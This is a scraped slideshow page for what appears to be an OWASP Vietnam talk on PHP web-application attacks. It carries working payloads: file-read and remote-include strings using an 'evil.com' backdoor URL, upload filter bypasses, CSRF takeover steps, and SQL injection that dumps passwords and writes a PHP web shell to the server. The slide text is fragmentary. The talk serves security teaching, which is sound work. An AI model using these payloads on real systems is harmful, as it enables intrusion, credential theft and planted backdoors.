ݺߣ

ݺߣShare a Scribd company logo
OWASP VIETNAM

H4x0rs gonna Hack
Fix or be pwned!
H4x0rs gonna hack
Who?
? manhluat (ML)
? Web -App Security Pentester
Contact me ...maybe?!
? https://twitter.com/manhluat93
? manhluat93.php@gmail.com
@tks to g4,w~
Trust something!
$GLOBALS
$_SERVER
$_GET
$_POST

$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
$_SERVER
$_SERVER[HTTP_HOST]
Host: somethingevil
$_SERVER
$_SERVER[REQUEST_URI]
curl "http://localhost/test/http://evil/../../../../test/http_host.php"
[REQUEST_URI] => /test/http://evil/../../../../test/http_host.php

$_SERVER[PHP_SELF]
curl "http://localhost/test/http_host.php/somethingevil"
[PHP_SELF] => /test/http_host.php/somethingevil
$_GET $_POST $_COOKIE
base64_decode($_GET['x']);

GET: ?x[]=evil
POST: x[]=evil
COOKIE: x[]=evil;
strcmp,strncmp,strcasecmp
if(strcmp($_GET[x],$password)==0)
echo Ok;

?x[]=1
Zend/zend_builtin_functions.c

<? if(NULL==0) echo OK; ?>
// output: OK
//Source: /admin/index.php
if($_SESSION[login] != admin){
header(Location: login.php);
}
echo "ADMIN Cpanel";
// ADMINCP functions  Add-Edit blah blah...

cURL is your friend ;)$

curl
http://localhost/admin/index.php -ik
HTTP/1.1

302 Found
Date: Mon, 16 Dec 2013 00:50:41 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.4.9-4ubuntu2.3
Location: login.php
Vary: Accept-Encoding
Content-Length: 119
Content-Type: text/html
<br />
<b>Notice</b>: Undefined variable: _SESSION in <b>index.php</b> on line <b>3</b><br />
ADMIN Cpanel
H4x0rs gonna hack
PHP Streams
fopen
file_get_contents
readfile
include (include_once)
require (require_once)
PHP Stream Wrappers
?x=file:///etc/passwd
?x=data://,evil
?x=php://filter/convert.base64encode/resource=index.php

<?php file_get_contents($_GET[x]); ?>
H4x0rs gonna hack
if(!preg_match(#http://www.google.com#is,$url))
die(FAILED);
include($url);

?url=data://text/html;charset=http://www.google.com,evil();
//TimThumb is a popular script used for image resize.
//Public Exploit for v 1.32 (08/2011):
http://www.exploit-db.com/exploits/17602


if ($url_info['host'] == 'www.youtube.com' || )

?url=data://www.youtube.com/html;,evil();
...
include($_GET[lang]..txt);
...

with allow_url_include=on
?lang=http://evil.com/backdoor?
lang=data://,system(ls);#
...
include($_GET[lang]..txt);
...
allow_url_include=off
If you have a zip file on target host which includes evil.txt?
lang=zip:///tmp/evil.txt.zip#evil?lang=//192.168.1.1//evil
File Upload Script
if($_FILES[file][type] == image/gif)

Do not trust Content-Type!
Blacklist Filter
if(preg_match(#.php$#,$filename))
die(HACKER);
...
strpos($filename,php);
...

evil.PHP
evil.PhP
evil.php5 (preg_match)
Whitelist Filter
...
$allow_type = array(jpeg,gif,png);
$ext = explode(.,$filename);
$ext = $ext[1];
if(in_array($ext,$allow_type))
move_uploaded_file...

evil.jpeg.php
evil.gif.php
PHP Object Injection
serialize
serialize(1337); // Output: i:1337;
serialize(OWASP); //Output: s:5:"OWASP";
serialize(array(a=>A));
//Output: a:1:{s:1:"a";s:1:"A";}serialize(new Foo());
//Output: O:3:"Foo":1:{s:4:"name";s:2:"ML";}
unserialize(a:1:{s:1:"a";s:1:"A";});
//Output: Array(a=>A);unserialize(O:3:"Foo":1:
{s:4:"name";s:2:"ML";});
//Output: Foo Object ( [name] => ML )
Magic Methods
__construct(), __destruct(), __call(),
__callStatic(), __get(), __set(),
__isset(), __unset(), __sleep(),
__wakeup(), __toString(), __invoke(),
__set_state() and __clone()
__construct()Gets called when a new object
is created.
__destruct()Called when there are no more
references to an object or when an object
is destroy
__wakeup()Unserialize() triggers this to
allow reconstruction of resources to be
used
CVE: 2012-5692Invision Power Board <= 3.3.4 "unserialize
()" PHP Code Execution
H4x0rs gonna hack
H4x0rs gonna hack
EXPLOIT TIME
H4x0rs gonna hack
H4x0rs gonna hack
PWNED
Joomla! <= 3.0.2 (highlight.php) PHP Object
Injection Vulnerability
CubeCart <= 5.2.0 (cubecart.class.php) PHP Object
Injection Vulnerability
http://vagosec.org/2013/12/wordpress-rce-exploit
http://prezi.com/5hif_vurb56p/php-object-injection
XSS (Cross-Site Scripting)
H4x0rs gonna hack
H4x0rs gonna hack
This is how you prevent!
<?="<img src=/slideshow/h4x0rs-gonna-hack-29481005/29481005/& />";?>

FAILED :(
$input = $_GET['input'];
$input = preg_replace('#</*.+?>#','',$input); // remove
<tag>
$input = preg_replace('#s#','',$input); // remove space
echo "<input type='text' name='vuln' value='".$input."' />";
H4x0rs gonna hack
OOPS :O
CSRF (Cross-site request forgery)

?password=evil&confirm_password=evil&submit=Change%20Password
POST ?!
Easy ;)
Real-World
http://pyx.io/blog/facebook-csrf-leading-to-full-account-takeoverSo, the
course of action to take over victim's account would be:
1. Use "Find contacts on Facebook" from attacker account and log all
requests
2. Find /contact-importer/login request
3. Remove added email from your (attacker) account
4. Get the victim to somehow make the /contact-importer/login request
(infinite possibilities here)
5. Email is now added to victim's account, silently
6. Use "Forgot your password" to take over the account
H4x0rs gonna hack
SQL Injection

mysql_query(SELECT * FROM news WHERE id = .$_GET[id]);
...


mysql_query(SELECT * FROM users WHERE name = .$_GET[id].;);
...


mysql_query(SELECT * FROM news WHERE content LIKE %.$_GET[id].%;);
...
Dump database:
 ?id=1 UNION SELECT version(),null
 ?id=1 UNION SELECT username,password FROM
administrator
 ?id=1 UNION SELECT )numberno,name FROM
creditcards
DoS:
 ?id=1 UNION SELECT benchmark(1,999999),null

Write/Read File (with file_priv = 1):

 ?id=1 UNION SELECT load_file(/etc/passwd),null
 ?id=1 UNION SELECT <?=system($_GET[x])?>,null
INTO OUTFILE /var/www/backdoor.php
htmlspecialchars,htmlentities
$input = 123 ' " < > ; // 123   < > 
htmlspecialchars($input,ENT_QUOTES); //Output: 123 &#039; &quot; &lt; &gt; 
htmlentities($input,ENT_QUOTES); //Output: 123 &#039; &quot; &lt; &gt; 

$username = htmlentities($_POST[username],ENT_QUOTES);
$password = htmlentities($_POST[password],ENT_QUOTES);
SELECT * FROM users WHERE username=$username AND password=$password

?username=
&password= OR 1-===>... WHERE username= AND password= OR 1--
mysql_real_escape_string
mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends
backslashes to the following characters: x00, n, r, , ', " and x1a.
This function must always (with few exceptions) be used to make data safe before sending a query
to MySQL.

$id = mysql_real_escape_string($_GET[id]);
mysql_query(SELECT * FROM news WHERE id = .$id);
...

!!???
?id=1 UNION SELECT version(),null
$type = mysql_real_escape_string($_GET[type]);
mysql_query(SELECT * FROM news WHERE

`.$type.`=1);

mysql_real_escape_string`...` is it a
string ?!...NO
?type=anytype`=1 UNION SELECT
version(),null--
SELECT * FROM users WHERE user LIKE {$user} AND password LIKE {$pass};

?user=admin&password=%
Yahoo!
Sony
Twitter
WHCMS
...
H4x0rs gonna hack
Question?
END.

Recommended

Arduino - Lesson 4 ͨӍ֮ҹ
Arduino - Lesson 4 ͨӍ֮ҹ
CAVEDU Education
?
Arduino ׌ԭʼaĵ
Arduino ׌ԭʼaĵ
roboard
?
Chico Buarque Beatriz
Chico Buarque Beatriz
Valderio Oc
?
Apresenta??o Hinode
Leandro Dutra
?
ұʱؤε
ұʱؤε
Daisuke Kamikawa
?
ܾԴӦ
ܾԴӦ
a (ShyiShiou Wu)
?
奷ߥ`u
奷ߥ`u
Fumiya Watanabe
?
246 atividades-de-alfabetiza??o
silvana oliver
?
Libri BAZAT E VENDOSJES AFARISTE
Libri BAZAT E VENDOSJES AFARISTE
Muhamet Sopa
?
E Drejta e Detyrimeve dhe e Kontratave
E Drejta e Detyrimeve dhe e Kontratave
Refik Mustafa
?
Aferdita Berisha - Teknologjia informatike dhe planifikimi i projekteve
Aferdita Berisha - Teknologjia informatike dhe planifikimi i projekteve
Target
?
ʲٳDz봡徱ԾӦ
ʲٳDz봡徱ԾӦ
a (ShyiShiou Wu)
?
wedding (violino,viola,violoncello) Collection
wedding (violino,viola,violoncello) Collection
Daniel Augusto
?
Attestation de stagerach amel
Imed Boukadida
?
Evolution Of Web Security
Evolution Of Web Security
Chris Shiflett
?
PHPUG Presentation
PHPUG Presentation
Damon Cortesi
?
PHP Secure Programming
PHP Secure Programming
Balavignesh Kasinathan
?
Owasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
Michael Hendrickx
?
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman
?
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Pietro Polsinelli
?
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
xsist10
?
Security: Odoo Code Hardening
Security: Odoo Code Hardening
Odoo
?
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville Web Security 101
brian_dailey
?
Look Who's Talking
Look Who's Talking
Pablo Cantero
?
Intro to Php Security
Intro to Php Security
Dave Ross
?
Webauthn Tutorial
Webauthn Tutorial
FIDO Alliance
?
Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)
James Titcumb
?
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
ConFoo
?
My app is secure... I think
My app is secure... I think
Wim Godden
?
My app is secure... I think
My app is secure... I think
Wim Godden
?

More Related Content

What's hot (6)

Libri BAZAT E VENDOSJES AFARISTE
Libri BAZAT E VENDOSJES AFARISTE
Muhamet Sopa
?
E Drejta e Detyrimeve dhe e Kontratave
E Drejta e Detyrimeve dhe e Kontratave
Refik Mustafa
?
Aferdita Berisha - Teknologjia informatike dhe planifikimi i projekteve
Aferdita Berisha - Teknologjia informatike dhe planifikimi i projekteve
Target
?
ʲٳDz봡徱ԾӦ
ʲٳDz봡徱ԾӦ
a (ShyiShiou Wu)
?
wedding (violino,viola,violoncello) Collection
wedding (violino,viola,violoncello) Collection
Daniel Augusto
?
Attestation de stagerach amel
Imed Boukadida
?
Libri BAZAT E VENDOSJES AFARISTE
Libri BAZAT E VENDOSJES AFARISTE
Muhamet Sopa
?
E Drejta e Detyrimeve dhe e Kontratave
E Drejta e Detyrimeve dhe e Kontratave
Refik Mustafa
?
Aferdita Berisha - Teknologjia informatike dhe planifikimi i projekteve
Aferdita Berisha - Teknologjia informatike dhe planifikimi i projekteve
Target
?
wedding (violino,viola,violoncello) Collection
wedding (violino,viola,violoncello) Collection
Daniel Augusto
?
Attestation de stagerach amel
Imed Boukadida
?

Similar to H4x0rs gonna hack (20)

Evolution Of Web Security
Evolution Of Web Security
Chris Shiflett
?
PHPUG Presentation
PHPUG Presentation
Damon Cortesi
?
PHP Secure Programming
PHP Secure Programming
Balavignesh Kasinathan
?
Owasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
Michael Hendrickx
?
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman
?
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Pietro Polsinelli
?
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
xsist10
?
Security: Odoo Code Hardening
Security: Odoo Code Hardening
Odoo
?
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville Web Security 101
brian_dailey
?
Look Who's Talking
Look Who's Talking
Pablo Cantero
?
Intro to Php Security
Intro to Php Security
Dave Ross
?
Webauthn Tutorial
Webauthn Tutorial
FIDO Alliance
?
Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)
James Titcumb
?
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
ConFoo
?
My app is secure... I think
My app is secure... I think
Wim Godden
?
My app is secure... I think
My app is secure... I think
Wim Godden
?
Applications secure by default
Applications secure by default
Slawomir Jasek
?
Applications secure by default
Applications secure by default
SecuRing
?
Web Application Security in Rails
Web Application Security in Rails
Uri Nativ
?
Building Secure Twitter Apps
Building Secure Twitter Apps
Damon Cortesi
?
Evolution Of Web Security
Evolution Of Web Security
Chris Shiflett
?
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman
?
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Pietro Polsinelli
?
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
xsist10
?
Security: Odoo Code Hardening
Security: Odoo Code Hardening
Odoo
?
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville Web Security 101
brian_dailey
?
Intro to Php Security
Intro to Php Security
Dave Ross
?
Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)
James Titcumb
?
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
ConFoo
?
My app is secure... I think
My app is secure... I think
Wim Godden
?
My app is secure... I think
My app is secure... I think
Wim Godden
?
Applications secure by default
Applications secure by default
Slawomir Jasek
?
Applications secure by default
Applications secure by default
SecuRing
?
Web Application Security in Rails
Web Application Security in Rails
Uri Nativ
?
Building Secure Twitter Apps
Building Secure Twitter Apps
Damon Cortesi
?

Recently uploaded (20)

Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
ICT Frame Magazine Pvt. Ltd.
?
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Alliance
?
Lessons Learned from Developing Secure AI Workflows.pdf
Lessons Learned from Developing Secure AI Workflows.pdf
Priyanka Aash
?
From Manual to Auto Searching- FME in the Driver's Seat
From Manual to Auto Searching- FME in the Driver's Seat
Safe Software
?
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
?
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Safe Software
?
Securing Account Lifecycles in the Age of Deepfakes.pptx
Securing Account Lifecycles in the Age of Deepfakes.pptx
FIDO Alliance
?
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Safe Software
?
You are not excused! How to avoid security blind spots on the way to production
You are not excused! How to avoid security blind spots on the way to production
Michele Leroux Bustamante
?
Connecting Data and Intelligence: The Role of FME in Machine Learning
Connecting Data and Intelligence: The Role of FME in Machine Learning
Safe Software
?
Key Requirements to Successfully Implement Generative AI in Edge DevicesOpt...
Key Requirements to Successfully Implement Generative AI in Edge DevicesOpt...
Edge AI and Vision Alliance
?
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
?
MuleSoft for AgentForce : Topic Center and API Catalog
MuleSoft for AgentForce : Topic Center and API Catalog
shyamraj55
?
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
Priyanka Aash
?
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Nilesh Gule
?
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
?
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
?
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
Fwdays
?
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
?
cnc-processing-centers-centateq-p-110-en.pdf
cnc-processing-centers-centateq-p-110-en.pdf
AmirStern2
?
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
Information Security Response Team Nepal_npCERT_Vice_President_Sudan_Jha.pdf
ICT Frame Magazine Pvt. Ltd.
?
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Alliance
?
Lessons Learned from Developing Secure AI Workflows.pdf
Lessons Learned from Developing Secure AI Workflows.pdf
Priyanka Aash
?
From Manual to Auto Searching- FME in the Driver's Seat
From Manual to Auto Searching- FME in the Driver's Seat
Safe Software
?
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
?
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Safe Software
?
Securing Account Lifecycles in the Age of Deepfakes.pptx
Securing Account Lifecycles in the Age of Deepfakes.pptx
FIDO Alliance
?
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Safe Software
?
You are not excused! How to avoid security blind spots on the way to production
You are not excused! How to avoid security blind spots on the way to production
Michele Leroux Bustamante
?
Connecting Data and Intelligence: The Role of FME in Machine Learning
Connecting Data and Intelligence: The Role of FME in Machine Learning
Safe Software
?
Key Requirements to Successfully Implement Generative AI in Edge DevicesOpt...
Key Requirements to Successfully Implement Generative AI in Edge DevicesOpt...
Edge AI and Vision Alliance
?
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
?
MuleSoft for AgentForce : Topic Center and API Catalog
MuleSoft for AgentForce : Topic Center and API Catalog
shyamraj55
?
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
Priyanka Aash
?
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Nilesh Gule
?
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
?
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
?
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
Fwdays
?
cnc-processing-centers-centateq-p-110-en.pdf
cnc-processing-centers-centateq-p-110-en.pdf
AmirStern2
?

H4x0rs gonna hack